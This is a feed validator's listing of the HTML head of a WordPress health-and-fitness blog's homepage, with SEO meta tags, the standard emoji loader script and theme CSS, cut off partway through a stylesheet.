It looks like this is a web page, not a feed. I looked for a feed associated with this page, but couldn't find one. Please enter the address of your feed to validate.

Source: https://www.tophealthfitnesstips.com/

  1. <!DOCTYPE html>
  2. <html lang="en-US">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta name="viewport" content="width=device-width, initial-scale=1">
  6. <link rel="profile" href="http://gmpg.org/xfn/11">
  7. <meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />
  8. <style>img:is([sizes="auto" i], [sizes^="auto," i]) { contain-intrinsic-size: 3000px 1500px }</style>
  9. <!-- This site is optimized with the Yoast SEO plugin v24.7 - https://yoast.com/wordpress/plugins/seo/ -->
  10. <title>Top Health Fitness Tips | The Ideal Blog for Health, Fitness and Beauty</title>
  11. <meta name="description" content="Welcome to Tophealthfitnesstips. Our goal at Tophealthfitnesstips is to provide our readers with more information about hardware, software, cybersecurity, gadgets, mobile apps and new technology trends such as AI, IOT and more." />
  12. <link rel="canonical" href="https://www.tophealthfitnesstips.com/" />
  13. <meta property="og:locale" content="en_US" />
  14. <meta property="og:type" content="website" />
  15. <meta property="og:title" content="Top Health Fitness Tips | The Ideal Blog for Health, Fitness and Beauty" />
  16. <meta property="og:description" content="Welcome to Tophealthfitnesstips. Our goal at Tophealthfitnesstips is to provide our readers with more information about hardware, software, cybersecurity, gadgets, mobile apps and new technology trends such as AI, IOT and more." />
  17. <meta property="og:url" content="https://www.tophealthfitnesstips.com/" />
  18. <meta property="og:site_name" content="Top Health Fitness Tips" />
  19. <meta property="article:publisher" content="https://www.facebook.com/" />
  20. <meta property="article:modified_time" content="2025-04-15T15:45:48+00:00" />
  21. <meta property="og:image" content="https://www.tophealthfitnesstips.com/wp-content/uploads/2022/03/blog.jpg" />
  22. <meta property="og:image:width" content="800" />
  23. <meta property="og:image:height" content="500" />
  24. <meta property="og:image:type" content="image/jpeg" />
  25. <meta name="twitter:card" content="summary_large_image" />
  26. <script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebPage","@id":"https://www.tophealthfitnesstips.com/","url":"https://www.tophealthfitnesstips.com/","name":"Top Health Fitness Tips | The Ideal Blog for Health, Fitness and Beauty","isPartOf":{"@id":"https://www.tophealthfitnesstips.com/#website"},"about":{"@id":"https://www.tophealthfitnesstips.com/#organization"},"datePublished":"2025-04-04T09:44:38+00:00","dateModified":"2025-04-15T15:45:48+00:00","description":"Welcome to Tophealthfitnesstips. Our goal at Tophealthfitnesstips is to provide our readers with more information about hardware, software, cybersecurity, gadgets, mobile apps and new technology trends such as AI, IOT and more.","breadcrumb":{"@id":"https://www.tophealthfitnesstips.com/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.tophealthfitnesstips.com/"]}]},{"@type":"BreadcrumbList","@id":"https://www.tophealthfitnesstips.com/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home"}]},{"@type":"WebSite","@id":"https://www.tophealthfitnesstips.com/#website","url":"https://www.tophealthfitnesstips.com/","name":"Top Health Fitness Tips","description":"The Ideal Blog for Health, Fitness and Beauty","publisher":{"@id":"https://www.tophealthfitnesstips.com/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.tophealthfitnesstips.com/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https://www.tophealthfitnesstips.com/#organization","name":"Top Health Fitness Tips","url":"https://www.tophealthfitnesstips.com/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.tophealthfitnesstips.com/#/schema/logo/image/","url":"","contentUrl":"","caption":"Top Health Fitness Tips"},"image":{"@id":"https://www.tophealthfitnesstips.com/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/","https://www.instagram.com/","https://www.linkedin.com/company/"]}]}</script>
  27. <!-- / Yoast SEO plugin. -->
  28.  
  29.  
  30. <link rel='dns-prefetch' href='//cdn.jsdelivr.net' />
  31. <link rel='dns-prefetch' href='//cdnjs.cloudflare.com' />
  32. <link rel='dns-prefetch' href='//fonts.googleapis.com' />
  33. <script type="text/javascript">
  34. /* <![CDATA[ */
  35. window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/www.tophealthfitnesstips.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.7.2"}};
  36. /*! This file is auto-generated */
  37. !function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83d\udc26\u200d\u2b1b","\ud83d\udc26\u200b\u2b1b")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);
  38. /* ]]> */
  39. </script>
  40. <style id='wp-emoji-styles-inline-css' type='text/css'>
  41.  
  42. img.wp-smiley, img.emoji {
  43. display: inline !important;
  44. border: none !important;
  45. box-shadow: none !important;
  46. height: 1em !important;
  47. width: 1em !important;
  48. margin: 0 0.07em !important;
  49. vertical-align: -0.1em !important;
  50. background: none !important;
  51. padding: 0 !important;
  52. }
  53. </style>
  54. <link rel='stylesheet' id='wp-block-library-css' href='https://www.tophealthfitnesstips.com/wp-includes/css/dist/block-library/style.min.css?ver=6.7.2' type='text/css' media='all' />
  55. <style id='wp-block-library-theme-inline-css' type='text/css'>
  56. .wp-block-audio :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio :where(figcaption){color:#ffffffa6}.wp-block-audio{margin:0 0 1em}.wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em}.wp-block-embed :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed :where(figcaption){color:#ffffffa6}.wp-block-embed{margin:0 0 1em}.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:#ffffffa6}:root :where(.wp-block-image figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme :root :where(.wp-block-image figcaption){color:#ffffffa6}.wp-block-image{margin:0 0 1em}.wp-block-pullquote{border-bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-quote{border-left:.25em solid;margin:0 0 1.75em;padding-left:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote:where(.has-text-align-right){border-left:none;border-right:.25em solid;padding-left:0;padding-right:1em}.wp-block-quote:where(.has-text-align-center){border:none;padding-left:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote:where(.is-style-plain){border:none}.wp-block-search .wp-block-search__label{font-weight:700}.wp-block-search__button{border:1px solid #ccc;padding:.375em .625em}:where(.wp-block-group.has-background){padding:1.25em 2.375em}.wp-block-separator.has-css-opacity{opacity:.4}.wp-block-separator{border:none;border-bottom:2px solid;margin-left:auto;margin-right:auto}.wp-block-separator.has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}.wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table :where(figcaption){color:#ffffffa6}.wp-block-video :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video :where(figcaption){color:#ffffffa6}.wp-block-video{margin:0 0 1em}:root :where(.wp-block-template-part.has-background){margin-bottom:0;margin-top:0;padding:1.25em 2.375em}
  57. </style>
  58. <style id='classic-theme-styles-inline-css' type='text/css'>
  59. /*! This file is auto-generated */
  60. .wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
  61. </style>
  62. <style id='global-styles-inline-css' type='text/css'>
  63. :root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 14px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 32px;--wp--preset--font-size--x-large: 42px;--wp--preset--font-size--normal: 16px;--wp--preset--font-size--huge: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
  64. :where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}
  65. :where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}
  66. :root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
  67. </style>
  68. <link rel='stylesheet' id='contact-form-7-css' href='https://www.tophealthfitnesstips.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.0.5' type='text/css' media='all' />
  69. <link rel='stylesheet' id='pencisc-css' href='https://www.tophealthfitnesstips.com/wp-content/plugins/penci-framework/assets/css/single-shortcode.css?ver=6.7.2' type='text/css' media='all' />
  70. <link rel='stylesheet' id='parent-style-css' href='https://www.tophealthfitnesstips.com/wp-content/themes/pennews/style.css?ver=6.7.2' type='text/css' media='all' />
  71. <link rel='stylesheet' id='penci-style-child-css' href='https://www.tophealthfitnesstips.com/wp-content/themes/pennews-child/style.css?ver=1.0.0' type='text/css' media='all' />
  72. <link rel='stylesheet' id='penci-font-awesome-css' href='https://www.tophealthfitnesstips.com/wp-content/themes/pennews/css/font-awesome.min.css?ver=4.5.2' type='text/css' media='all' />
  73. <link rel='stylesheet' id='penci-fonts-css' href='//fonts.googleapis.com/css?family=Roboto%3A300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C700%2C700italic%2C800%2C800italic%7CMukta+Vaani%3A300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C700%2C700italic%2C800%2C800italic%7COswald%3A300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C700%2C700italic%2C800%2C800italic%7CTeko%3A300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C700%2C700italic%2C800%2C800italic%3A300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C700%2C700italic%2C800%2C800italic%26subset%3Dcyrillic%2Ccyrillic-ext%2Cgreek%2Cgreek-ext%2Clatin-ext' type='text/css' media='all' />
  74. <link rel='stylesheet' id='penci-style-css' href='https://www.tophealthfitnesstips.com/wp-content/themes/pennews-child/style.css?ver=6.5.7' type='text/css' media='all' />
  75. <style id='penci-style-inline-css' type='text/css'>
  76. .penci-block-vc.style-title-13:not(.footer-widget).style-title-center .penci-block-heading {border-right: 10px solid transparent; border-left: 10px solid transparent; }.site-branding h1, .site-branding h2 {margin: 0;}.penci-schema-markup { display: none !important; }.penci-entry-media .twitter-video { max-width: none !important; margin: 0 !important; }.penci-entry-media .fb-video { margin-bottom: 0; }.penci-entry-media .post-format-meta > iframe { vertical-align: top; }.penci-single-style-6 .penci-entry-media-top.penci-video-format-dailymotion:after, .penci-single-style-6 .penci-entry-media-top.penci-video-format-facebook:after, .penci-single-style-6 .penci-entry-media-top.penci-video-format-vimeo:after, .penci-single-style-6 .penci-entry-media-top.penci-video-format-twitter:after, .penci-single-style-7 .penci-entry-media-top.penci-video-format-dailymotion:after, .penci-single-style-7 .penci-entry-media-top.penci-video-format-facebook:after, .penci-single-style-7 .penci-entry-media-top.penci-video-format-vimeo:after, .penci-single-style-7 .penci-entry-media-top.penci-video-format-twitter:after { content: none; } .penci-single-style-5 .penci-entry-media.penci-video-format-dailymotion:after, .penci-single-style-5 .penci-entry-media.penci-video-format-facebook:after, .penci-single-style-5 .penci-entry-media.penci-video-format-vimeo:after, .penci-single-style-5 .penci-entry-media.penci-video-format-twitter:after { content: none; }@media screen and (max-width: 960px) { .penci-insta-thumb ul.thumbnails.penci_col_5 li, .penci-insta-thumb ul.thumbnails.penci_col_6 li { width: 33.33% !important; } .penci-insta-thumb ul.thumbnails.penci_col_7 li, .penci-insta-thumb ul.thumbnails.penci_col_8 li, .penci-insta-thumb ul.thumbnails.penci_col_9 li, .penci-insta-thumb ul.thumbnails.penci_col_10 li { width: 25% !important; } }.site-header.header--s12 .penci-menu-toggle-wapper,.site-header.header--s12 .header__social-search { flex: 1; }.site-header.header--s5 .site-branding {  padding-right: 0;margin-right: 40px; }.penci-block_37 .penci_post-meta { padding-top: 8px; }.penci-block_37 .penci-post-excerpt + .penci_post-meta { padding-top: 0; }.penci-hide-text-votes { display: none; }.penci-usewr-review {  border-top: 1px solid #ececec; }.penci-review-score {top: 5px; position: relative; }.penci-social-counter.penci-social-counter--style-3 .penci-social__empty a, .penci-social-counter.penci-social-counter--style-4 .penci-social__empty a, .penci-social-counter.penci-social-counter--style-5 .penci-social__empty a, .penci-social-counter.penci-social-counter--style-6 .penci-social__empty a { display: flex; justify-content: center; align-items: center; }.penci-block-error { padding: 0 20px 20px; }@media screen and (min-width: 1240px){ .penci_dis_padding_bw .penci-content-main.penci-col-4:nth-child(3n+2) { padding-right: 15px; padding-left: 15px; }}.bos_searchbox_widget_class.penci-vc-column-1 #flexi_searchbox #b_searchboxInc .b_submitButton_wrapper{ padding-top: 10px; padding-bottom: 10px; }.mfp-image-holder .mfp-close, .mfp-iframe-holder .mfp-close { background: transparent; border-color: transparent; }h1, h2, h3, h4, h5, h6,.error404 .page-title,
  77. .error404 .penci-block-vc .penci-block__title, .footer__bottom.style-2 .block-title {font-family: 'Roboto', sans-serif}h1, h2, h3, h4, h5, h6,.error404 .page-title,
  78. .error404 .penci-block-vc .penci-block__title, .product_list_widget .product-title, .footer__bottom.style-2 .block-title {font-weight: 800}.penci-block-vc .penci-block__title, .penci-menu-hbg .penci-block-vc .penci-block__title, .penci-menu-hbg-widgets .menu-hbg-title{ font-family:'Roboto', sans-serif; }body, button, input, select, textarea,.woocommerce ul.products li.product .button,#site-navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name{font-family: 'Roboto', sans-serif}.single .entry-content,.page .entry-content{ font-size:18px; }.penci-topbar h3, .penci-topbar, .penci-topbar ul.menu>li>a,.penci-topbar ul.menu li ul.sub-menu li a,.penci-topbar ul.topbar__logout li a, .topbar_weather .penci-weather-degrees{ font-size: 14px; }.penci-topbar .topbar__social-media a{ font-size: 15px; }.penci-topbar.header--s7, .penci-topbar.header--s7 h3,
  79. .penci-topbar.header--s7 ul li,
  80. .penci-topbar.header--s7 .topbar__trending .headline-title{ text-transform: none !important; }.penci-topbar{ background-color:#464646 ; }.penci-topbar,.penci-topbar a, .penci-topbar ul li a{ color:#ffffff ; }.penci-topbar a:hover , .penci-topbar ul li a:hover{ color:#ffffff !important; }.topbar__social-media a:hover{ color:#21b24b ; }.penci-topbar ul.menu li ul.sub-menu li a:hover{ color:#21b24b ; }.penci-topbar ul.menu li ul.sub-menu li{ border-color:#ebebeb ; }.penci-topbar .topbar__trending .headline-title{ background-color:#464646 ; }.header--s10 .site-branding,.header--s10 .site-branding img {max-width: 300px !important;overflow: hidden; }.main-navigation > ul:not(.children) > li.highlight-button{ min-height: 100px; }.site-header,.main-navigation > ul:not(.children) > li > a,.site-header.header--s7 .main-navigation > ul:not(.children) > li > a,.search-click,.penci-menuhbg-wapper,.header__social-media,.site-header.header--s7,.site-header.header--s1 .site-branding .site-title,.site-header.header--s7 .site-branding .site-title,.site-header.header--s10 .site-branding .site-title,.site-header.header--s5 .site-branding .site-title{ line-height: 99px; min-height: 100px; }.site-header.header--s7 .custom-logo, .site-header.header--s10 .custom-logo,.site-header.header--s11 .custom-logo, .site-header.header--s1 .custom-logo, .site-header.header--s5 .custom-logo { max-height: 96px; }.main-navigation a,.mobile-sidebar .primary-menu-mobile li a, .penci-menu-hbg .primary-menu-mobile li a{ font-family: 'Roboto', sans-serif; }.main-navigation a,.mobile-sidebar .primary-menu-mobile li a, .penci-menu-hbg .primary-menu-mobile li a{ font-weight: 600; }.main-navigation > ul:not(.children) > li > a{ font-size: 17px; }#site-navigation .penci-megamenu .penci-mega-child-categories a{ font-size: 12px; }.main-navigation a{ text-transform: none; }.penci-post-pagination h5{ font-size:16px; }.penci-author-content h5 a{ font-size:16px; }.penci-post-related .item-related h4{ font-size:14px; }.penci-block-vc-pag  .penci-archive__list_posts .penci-post-item .entry-title{ font-size:20px; }.penci-pmore-link .more-link{ font-family:'Roboto', sans-serif; }.penci-block-vc-pag .penci-pmore-link .more-link{ font-family:'Roboto', sans-serif; }@media( min-width: 768px ) {.penci-sidebar-widgets .penci-block-vc.widget, .penci_dis_padding_bw .penci-sidebar-widgets .penci-block-vc.widget { margin-bottom:30px; } }.penci-menu-hbg-widgets .menu-hbg-title { font-family:'Roboto', sans-serif }
  81. .woocommerce div.product .related > h2,.woocommerce div.product .upsells > h2,
  82. .post-title-box .post-box-title,.site-content #respond h3,.site-content .widget-title,
  83. .site-content .widgettitle,
  84. body.page-template-full-width.page-paged-2 .site-content .widget.penci-block-vc .penci-block__title,
  85. body:not( .page-template-full-width ) .site-content .widget.penci-block-vc .penci-block__title{ font-size:18px !important;font-weight:700 !important;font-family:'Roboto', sans-serif !important; }#footer__sidebars.footer__sidebars{padding-top: 40px;padding-bottom: 40px;}.site-footer .penci-block-vc .penci-block__title{ font-size:20px;font-weight:700;font-family:'Roboto', sans-serif;text-transform: none; }.footer__bottom .footer__bottom_container{padding-bottom:50px;}.footer__bottom.style-2 .block-title{ font-size:22px !important;}.site-footer .penci-footer-text-wrap { font-size:16px;}.site-info{font-size:15px;}.footer__copyright_menu { padding-top:20px; padding-bottom: 20px; }.penci-popup-login-register .penci-login-container a:hover{ color:#00a9d1 ; }.penci-popup-login-register .penci-login-container .penci-login input[type="submit"]{ background-color:#00a9d1 ; }body{ background-color: #fff; }
  86. .penci-ajax-search-results .ajax-loading:before,
  87. .show-search .show-search__content,
  88. div.bbp-template-notice, div.indicator-hint,
  89. .widget select,select, pre,.wpb_text_column,
  90. .single .penci-content-post, .page .penci-content-post,
  91. .forum-archive .penci-content-post,
  92. .penci-block-vc,.penci-archive__content,.error404 .not-found,.ajax-loading:before{ background-color:#ffffff }
  93. .penci-block-vc.style-title-11:not(.footer-widget) .penci-block__title a,
  94. .penci-block-vc.style-title-11:not(.footer-widget) .penci-block__title span,
